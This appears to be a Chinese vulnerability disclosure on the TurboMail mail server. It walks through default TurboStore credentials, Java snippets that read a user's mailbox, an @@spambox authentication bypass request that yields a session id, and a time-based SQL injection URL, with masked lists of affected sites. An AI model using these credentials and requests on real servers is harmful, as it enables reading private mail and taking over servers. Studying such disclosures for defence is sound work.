### 简要描述: 三连击,官网中招。 ### 详细说明: TurboMail在安装完毕之后会有多个应用打开端口监听数据,其中有一个叫做TurboStore是用于存储邮件信息的的核心组件。 [<img src="https://images.seebug.org/upload/201602/16232217ffc3e353b1ecc1d5ebef9844852d30a5.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/16232217ffc3e353b1ecc1d5ebef9844852d30a5.png) TurboStore打开的端口是9668 [<img src="https://images.seebug.org/upload/201602/1623252876f0c9f04e2913a7927fd1d7d1048e74.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/1623252876f0c9f04e2913a7927fd1d7d1048e74.png) 在/conf/server.xml中的配置如下: ``` <TSSERVER> <TSSERVER_ENABLE>TRUE</TSSERVER_ENABLE> <TSSERVER_LISTEN_SIZE>15</TSSERVER_LISTEN_SIZE> <TSSERVER_SESSION_TIMEOUT>30</TSSERVER_SESSION_TIMEOUT> <TSSERVER_MAX_THREADS>30</TSSERVER_MAX_THREADS> <TSSERVER_TIMEOUT>60</TSSERVER_TIMEOUT> <TSSERVER_USERNAME>admin</TSSERVER_USERNAME> <TSSERVER_PASSWORD>YWRtaW4zMjE=3D</TSSERVER_PASSWORD>...
### 简要描述: 三连击,官网中招。 ### 详细说明: TurboMail在安装完毕之后会有多个应用打开端口监听数据,其中有一个叫做TurboStore是用于存储邮件信息的的核心组件。 [<img src="https://images.seebug.org/upload/201602/16232217ffc3e353b1ecc1d5ebef9844852d30a5.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/16232217ffc3e353b1ecc1d5ebef9844852d30a5.png) TurboStore打开的端口是9668 [<img src="https://images.seebug.org/upload/201602/1623252876f0c9f04e2913a7927fd1d7d1048e74.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/1623252876f0c9f04e2913a7927fd1d7d1048e74.png) 在/conf/server.xml中的配置如下: ``` <TSSERVER> <TSSERVER_ENABLE>TRUE</TSSERVER_ENABLE> <TSSERVER_LISTEN_SIZE>15</TSSERVER_LISTEN_SIZE> <TSSERVER_SESSION_TIMEOUT>30</TSSERVER_SESSION_TIMEOUT> <TSSERVER_MAX_THREADS>30</TSSERVER_MAX_THREADS> <TSSERVER_TIMEOUT>60</TSSERVER_TIMEOUT> <TSSERVER_USERNAME>admin</TSSERVER_USERNAME> <TSSERVER_PASSWORD>YWRtaW4zMjE=3D</TSSERVER_PASSWORD> <TSSERVER_GTS_PATH></TSSERVER_GTS_PATH> <TSSERVER_ALLOW_IP></TSSERVER_ALLOW_IP> <TSSERVER_LISTENERS> <LISTENER> <IP>all</IP> <PORT>9668</PORT> <SSL>FALSE</SSL> </LISTENER> </TSSERVER_LISTENERS> </TSSERVER> ``` 从上面可以看到TurboStore需要登录,而用户名密码默认分别为admin/admin321,使用telnet登录如下: ``` telnet **.**.**.** 9668 login admin admin321 quit ``` [<img src="https://images.seebug.org/upload/201602/1623370888358402c4c4350ba6fcc8dcfd490b9d.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/1623370888358402c4c4350ba6fcc8dcfd490b9d.png) 经过以上可以看出TurboStore是未限定IP登录的,测试官方同样能够成功登录: ``` telnet **.**.**.** 9668 login admin admin321 quit ``` [<img src="https://images.seebug.org/upload/201602/1623453569132c1be8b7c5a23bcd4522096fa1f9.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/1623453569132c1be8b7c5a23bcd4522096fa1f9.png) TurboStore的通信数据结构,类似如下: ``` json cmd :{"cmd":"getfoldersinfo","param":{"folderlist":["del","draft","exception","new","send","spam","virus"],"useraccount":"test@root"},"login_password":"admin321","login_user":"admin"} ``` 系统中有完整的通信实现代码如下: ``` /* */ public static String getnextmsgid(String username, String domain, String mbtype, String msgid, boolean bUp, int iSortType, int iNew) /* */ throws Exception /* */ { /* 303 */ if (mbtype != null) { /* 304 */ if (mbtype.equals("virusbox")) { /* 305 */ username = "@@virusbox"; /* 306 */ domain = null; /* 307 */ mbtype = "new"; /* 308 */ } else if (mbtype.equals("spambox")) { /* 309 */ username = "@@spambox"; /* 310 */ domain = null; /* 311 */ mbtype = "new"; /* */ } /* */ } /* */ /* 315 */ Session ses = m_SessionManager.getSession(); /* */ /* 317 */ if (ses == null) { /* 318 */ if (m_log != null) /* 319 */ m_log.log("0", 1, 30721, /* 320 */ "fail to get TurboStore JSONSession(" + /* 321 */ m_SessionManager.getDesc() + ")"); /* 322 */ return null; /* */ } /* */ /* 325 */ IntObj ioRet = new IntObj(); /* */ /* 327 */ JSONObject jsonRet = null; /* */ try /* */ { /* 330 */ JSONObject jsonParam = new JSONObject(); /* */ /* 332 */ if (domain == null) /* 333 */ jsonParam.put("useraccount", username); /* */ else /* 335 */ jsonParam.put("useraccount", username + "@" + domain); /* 336 */ if (mbtype != null) /* 337 */ jsonParam.put("mbtype", mbtype); /* 338 */ if (msgid != null) { /* 339 */ jsonParam.put("msgid", msgid); /* */ } /* 341 */ jsonParam.put("up", bUp ? 1 : 0); /* 342 */ jsonParam.put("sorttype", iSortType); /* */ /* 344 */ jsonParam.put("new", iNew); /* */ /* 346 */ jsonRet = CmdJson.execute(ses, "getnextmsgid", jsonParam, ioRet); /* */ } catch (Exception e) { /* 348 */ e.printStackTrace(); /* */ } /* */ /* 351 */ m_SessionManager.returnSession(ses); /* */ /* 353 */ if (jsonRet == null) { /* 354 */ return null; /* */ } /* 356 */ int iRetCode = jsonRet.getInt("retcode"); /* 357 */ if (iRetCode != 0) { /* 358 */ return null; /* */ } /* 360 */ String strNextMsgid = null; /* */ /* 362 */ if (jsonRet.has("msgid")) { /* 363 */ strNextMsgid = jsonRet.getString("msgid"); /* */ } /* 365 */ return strNextMsgid; /* */ } ``` 其中的jsonRet = CmdJson.execute(ses, "getnextmsgid", jsonParam, ioRet);中的getnextmsgid就是cmd,系统中大概有这么几个cmd: ``` getmsg getnextmsgid getmsglist getmsgnum addmsg settag delmsg delfoldermsg ``` 每个cmd对应不同的参数,下面以官网(http://**.**.**.**:8080/)为例获取其中的tech@**.**.**.**邮箱的收件信息,部分利用代码如下: ``` m_SessionManager = new SessionManager("**.**.**.**", 9668, 30, "admin", "admin321", 20, null); jsonParam.put("useraccount","tech@**.**.**.**"); jsonParam.put("mbtype", "new"); jsonParam.put("items", 50); jsonRet = CmdJson.execute(ses, action, jsonParam, ioRet); String strRet = jsonRet.toString(); out.println(strRet); ``` 把测试文件放到本地搭建的TurboMail服务器的根目录然后访问,得到前50个邮件: [<img src="https://images.seebug.org/upload/201602/17000821e5dfbd5391f828bde66796ad02a7427b.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/17000821e5dfbd5391f828bde66796ad02a7427b.png) 通过addmsg以及delmsg还可以添加删除邮件,危害较大这里就不演示了。 下面来来分析如何获取webmail权限,TurboMail是基于sessionid来进行权限验证,登录后分配一个sessionid作为验证凭证,类似于这样: ``` http://**.**.**.**:8080/tmw/7/next/loading.jsp?sessionid=2cedc64He_0 http://**.**.**.**:8080/tmw/7/mailmain?flag=-1&intertype=ajax&type=getmaillist&sessionid=2cedc64He_0&mbtype=spam&onlynew=false&start=0&limit=50&where=false ``` 因此主要目标是获取这个sessionid,来看下面的代码,在入口程序MailMain.java中引用了ShowMsg.showAbstract(request, response): ``` else if (type.equals("showmsgabstract")) { ShowMsg.showAbstract(request, response); ``` ShowMsg.showAbstract(request, response)主要代码如下: ``` /* */ public static void showAbstract(HttpServletRequest request, HttpServletResponse response) /* */ throws ServletException, IOException /* */ { /* 669 */ showAbstract(false, request, response); /* */ } /* */ /* */ public static void showAbstract(boolean bAjax, HttpServletRequest request, HttpServletResponse response) /* */ throws ServletException, IOException /* */ { /* 685 */ String receiveaccount = request.getParameter("receiveaccount"); …… /* */ /* 697 */ MailSession ms = null; /* */ /* 699 */ if (ServerConf.b_SYS_GATEWAY_MODE) { /* 700 */ ms = MailSession.getGwuserSession(receiveaccount); /* */ } /* 702 */ else if (receiveaccount.equals("@@spambox")) /* 703 */ ms = MailSession.getGwuserSession("spambox", "root"); /* */ else { /* 705 */ ms = MailSession.makeSimpleSession(receiveaccount); /* */ } /* */ /* 709 */ if (ms == null) { /* 710 */ if (bAjax) /* 711 */ AjaxUtil.ajaxFail(request, response, "info.rcpterror", null); /* */ else /* 713 */ XInfo.gotoInfo(null, request, response, "info.rcpterror", null, /* 714 */ 0); /* 715 */ return; /* */ } /* */ …… /* */ /* 757 */ String mbid = request.getParameter("mbid"); /* 758 */ if (mbid == null) { /* 759 */ mbid = "0"; /* */ } /* */ /* 762 */ String strNext = request.getParameter("next"); /* */ /* 764 */ if (strNext == null) { /* 765 */ strNext = ""; /* */ } /* */ /* 768 */ String mbtype = request.getParameter("mbtype"); /* 769 */ if (mbtype == null) { /* 770 */ mbtype = "new"; /* */ } /* 772 */ if (!Util.dirSafe(mbtype)) { /* 773 */ if (bAjax) /* 774 */ AjaxUtil.ajaxFail(request, response, "info.securitycheck", null); /* */ else /* 776 */ XInfo.gotoInfo(ms, request, response, "info.securitycheck", /* 777 */ null, 0); /* 778 */ return; /* */ } /* */ …… /* 792 */ String strMsgid = request.getParameter("msgid"); /* 793 */ if (strMsgid == null) { /* 794 */ strMsgid = "0"; /* */ } /* 796 */ strMsgid = Util.formatRequest(strMsgid, MailMain.s_os, /* 797 */ SysConts.New_InCharSet); /* */ /* 799 */ if (!Util.dirSafe(strMsgid)) { /* 800 */ if (bAjax) /* 801 */ AjaxUtil.ajaxFail(request, response, "info.securitycheck", null); /* */ else /* 803 */ XInfo.gotoInfo(ms, request, response, "info.securitycheck", /* 804 */ null, 0); /* 805 */ return; /* */ } /* */ / /* 816 */ String useraccount = request.getParameter("useraccount"); /* */ /* 818 */ String spamUserName = Util.getUsername(ServerConf.AS_SPAMBOX); /* 819 */ String spamDomain = Util.getDomain(ServerConf.AS_SPAMBOX); /* 820 */ if ((spamUserName.equals("")) || (spamDomain.equals(""))) /* */ { /* 822 */ if (bAjax) /* 823 */ AjaxUtil.ajaxFail(request, response, "info.isemailexist", null); /* */ else { /* 825 */ XInfo.gotoInfo(ms, request, response, "info.isemailexist", /* 826 */ null, 0); /* */ } /* 828 */ ms.logoutAndRemove(); /* 829 */ return; /* */ } /* */ /* 832 */ UserInfo abstractUserInfo = UserInfo.getSimpleUserInfo(spamUserName, /* 833 */ spamDomain); /* */ /* 851 */ if (!bAjax) { /* */ /* 869 */ String strMailFolderPath = null; /* 880 */ strMailFolderPath = /* 881 */ UserAccount.getSuitUserPath(spamUserName, /* 881 */ spamDomain) + /* 882 */ SysConts.FILE_SEPARATOR + /* 883 */ "spambox" + /* 884 */ SysConts.FILE_SEPARATOR + strMsgid; /* */ /* 886 */ File flMsg = new File(strMailFolderPath); /* */ /* 888 */ if ((!flMsg.exists()) && /* 889 */ (!TBoxFile.isTboxFile(strMailFolderPath))) { /* 890 */ if (bAjax) /* 891 */ AjaxUtil.ajaxFail(request, response, "info.isemailexist", null); /* */ else /* 893 */ XInfo.gotoInfo(ms, request, response, "info.isemailexist", /* 894 */ null, 0); /* 895 */ ms.logoutAndRemove(); /* 896 */ return; /* */ } /* */ …… /* */ /* 948 */ RequestDispatcher rd = null; /* */ …… /* */ /* 981 */ String url = null; /* */ /* 990 */ url = "enterprise/msgabstractheader.jsp?sessionid=" + /* 991 */ ms.session_id + "&username=" + ms.userinfo.getUid() + /* 992 */ "&domain=" + ms.userinfo.domain + "&msgid=" + /* 993 */ strMsgid + "&receiveaccount=" + receiveaccount; /* */ /* 996 */ rd = request.getRequestDispatcher(url); /* */ } /* */ /* 999 */ String tagsymbol = request.getParameter("tagsymbol"); /* 1000 */ request.setAttribute("tagsymbol", tagsymbol); /* 1001 */ if (!bAjax) /* 1002 */ rd.forward(request, response); /* */ } ``` 程序首先通过request.getParameter("receiveaccount")获取到receiveaccount的值,如果这个值为@@spambox则调用ms = MailSession.getGwuserSession("spambox", "root");产生一个mailsession ms。注意这里没有验证密码就直接得到ms! 然后获取String strMsgid = request.getParameter("msgid"),这个strMsgid经过过滤进入到以下流程中: ``` strMailFolderPath = /* 881 */ UserAccount.getSuitUserPath(spamUserName, /* 881 */ spamDomain) + /* 882 */ SysConts.FILE_SEPARATOR + /* 883 */ "spambox" + /* 884 */ SysConts.FILE_SEPARATOR + strMsgid; /* */ /* 886 */ File flMsg = new File(strMailFolderPath); /* */ /* 888 */ if ((!flMsg.exists()) && /* 889 */ (!TBoxFile.isTboxFile(strMailFolderPath))) { /* 890 */ if (bAjax) /* 891 */ AjaxUtil.ajaxFail(request, response, "info.isemailexist", null); /* */ else /* 893 */ XInfo.gotoInfo(ms, request, response, "info.isemailexist", /* 894 */ null, 0); /* 895 */ ms.logoutAndRemove(); /* 896 */ return; /* */ } ``` 由strMsgid组合而成的路径strMailFolderPath,如果strMailFolderPath这个文件不存在的话则程序退出。来看看这个strMailFolderPath文件是啥样子的: [<img src="https://images.seebug.org/upload/201602/1700440903f148879f104f0148d878ced47b1e0a.png" alt="6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/1700440903f148879f104f0148d878ced47b1e0a.png) 152E9491193.tbdata是一个时间戳数字经过16进制转换而成的文件名,这个文件名如果要枚举的话次数在百亿以上显然是不现实的,看下面的代码: ``` /* 843 */ strMsgid = MessageAdmin.getNextMsgId(ms, /* 844 */ abstractUserInfo.domain, abstractUserInfo.getUid(), /* 845 */ mbtype, strMsgid, 0, false, bOnlyNew); ``` MessageAdmin.getNextMsgId()是从TurboStore中查询数据,那么strMsgid很有可能是存储在TurboStore中,于是查询@@spambox用户得到strMsgid: ``` m_SessionManager = new SessionManager("**.**.**.**", 9668, 30, "admin", "admin321", 20, null); jsonParam.put("useraccount","@@spambox"); jsonParam.put("mbtype", "spam"); jsonParam.put("items", 50); jsonRet = CmdJson.execute(ses, action, jsonParam, ioRet); String strRet = jsonRet.toString(); out.println(strRet); ``` [<img src="https://images.seebug.org/upload/201602/1701071183beec3211636960510e9b35bab39fde.png" alt="7.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/1701071183beec3211636960510e9b35bab39fde.png) ``` 152E9491193_tb_5059_10313 152E9491193_tb_3344_5041 ``` 在这里将msgid赋值为152E9491193_tb_3344_5041则顺利通过,到最后ms.session_id(也就是Sessionid)作为参数使用rd.forward重定向到msgabstractheader.jsp,如下: ``` /* 990 */ url = "enterprise/msgabstractheader.jsp?sessionid=" + /* 991 */ ms.session_id + "&username=" + ms.userinfo.getUid() + /* 992 */ "&domain=" + ms.userinfo.domain + "&msgid=" + /* 993 */ strMsgid + "&receiveaccount=" + receiveaccount; /* */ /* 996 */ rd = request.getRequestDispatcher(url); /* */ } /* */ /* 999 */ String tagsymbol = request.getParameter("tagsymbol"); /* 1000 */ request.setAttribute("tagsymbol", tagsymbol); /* 1001 */ if (!bAjax) /* 1002 */ rd.forward(request, response); ``` 而msgabstractheader.jsp也把sessionid做为参数传走: ``` String sessionid= ms.session_id; String url = "sessionid=" + sessionid + "&mbtype=" + mbtype + "&msgid=" + strMsgid + "&useraccount=" + useraccount + "&receiveaccount=" + receiveaccount; <td height="24" colspan="4" align="left" bgcolor="#FFFFFF"><iframe src="mailmain?type=msgabstractcontent&<%=url%>" id="test" width="100%" height="450" scrolling="auto" frameborder="0"> </iframe> ``` 整个获取sessionid的POST数据包如下: ``` POST /mailmain HTTP/1.1 Host: **.**.**.**:8080 User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://gw2.**.**.**.**:8080/mailmain?type=inputpwd&mbid=0&msgid=1455474084001_31861_tm&lang=SIMPLIFIED_CHINESE&mbtype=spam&useraccount=qqqq&receiveaccount=@@spambox Cookie: tm_last_login_uid=postmaster; tm_last_login_domain=root; safelogin=true; JSESSIONID=E576B03397408FD15BC19BEDD580EDF9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 128 type=showmsgabstract&receiveaccount=%40%40spambox&useraccount=%40%40spambox&msgid=152E9491193_tb_18_1611&lang=SIMPLIFIED_CHINESE ``` 然后在返回中找到sessionid: [<img src="https://images.seebug.org/upload/201602/170124124c881a6d4be12aef41f500e4a183eddf.png" alt="8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/170124124c881a6d4be12aef41f500e4a183eddf.png) 这个Sessionid可用于登录验证(有时效性),能够访问webmail的大多数应用: ``` http://**.**.**.**:8080/mailmain?intertype=ajax&sessionid=3481b15H27_0.g&type=getListAddressList&addressid=test http://**.**.**.**:8080/mailmain?intertype=ajax&sessionid=54878a0H379_0.g&type=getListAddressList&addressid=test http://**.**.**.**:8080/mailmain?type=getUserList&department=&domain=root&intertype=ajax&key=&searchfield=&searchvalue=&sessionid=54878a0H379_0.g ``` [<img src="https://images.seebug.org/upload/201602/1701315987ce4f5a851848e5e31bfc48ccb0acbd.png" alt="9.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201602/1701315987ce4f5a851848e5e31bfc48ccb0acbd.png) 获取到权限之后就可以进行SQL注射了在入口程序AjaxMain.java中调用方法: ``` /* 810 */ else if ("sumsendfailmsgstat".equals(type)) /* 811 */ StatisticAdmin.sendFailMailStatistics(request, response); ``` StatisticAdmin.sendFailMailStatistics()定义如下: ``` public static void sendFailMailStatistics(HttpServletRequest request, HttpServletResponse response) /* */ throws ServletException, IOException /* */ { /* 451 */ MailSession ms = WebUtil.getms(request, response); /* 452 */ if (ms == null) { /* 453 */ AjaxUtil.ajaxFail(request, response, "info.nologin", null); /* 454 */ return; /* */ } /* */ /* 457 */ UserInfo userinfo = ms.userinfo; /* 458 */ if (userinfo == null) { /* 459 */ AjaxUtil.ajaxFail(request, response, "info.loginfail", null); /* 460 */ return; /* */ } String sender = WebUtil.getParameter(request, true, "sender"); if (bFuzzy) { /* 503 */ if (!StringUtils.isEmpty(sender)) /* 504 */ querySql = querySql + " and f_from like '%" + sender + "%' "; /* 505 */ if (!StringUtils.isEmpty(receiver)) /* 506 */ querySql = querySql + "and f_to like '%" + receiver + "%'"; /* */ } else { /* 508 */ if (!StringUtils.isEmpty(sender)) /* 509 */ querySql = querySql + " and f_from = '" + sender + "' "; /* 510 */ if (!StringUtils.isEmpty(receiver)) /* 511 */ querySql = querySql + "and f_to = '" + receiver + "'"; /* */ } /* 513 */ String countSql = "select count(1) from (" + tableName + ") t where " + querySql; /* 530 */ conn = StatisticsDB.getConnection(); /* 531 */ ps = conn.prepareStatement(countSql); /* 532 */ rs = ps.executeQuery(); ``` 程序获取sender的值直接拼接进入SQL查询导致了SQL注射发生: ``` http://**.**.**.**:8080/mailmain?type=sumsendfailmsgstat&intertype=ajax&sessionid=585d6f6H37a_0.g&sender=-1%27union%20all%20select%20sleep%285%29%23&startDate=20160216&endDate=20160216 ``` 通过SQL注射能够GETSHELL,读取文件等操作之前写过了这里就不再赘述。 列一些受影响的域名/ip: ``` **.**.**.** gw1.**.**.**.** gw2.**.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** ``` ### 漏洞证明: 同上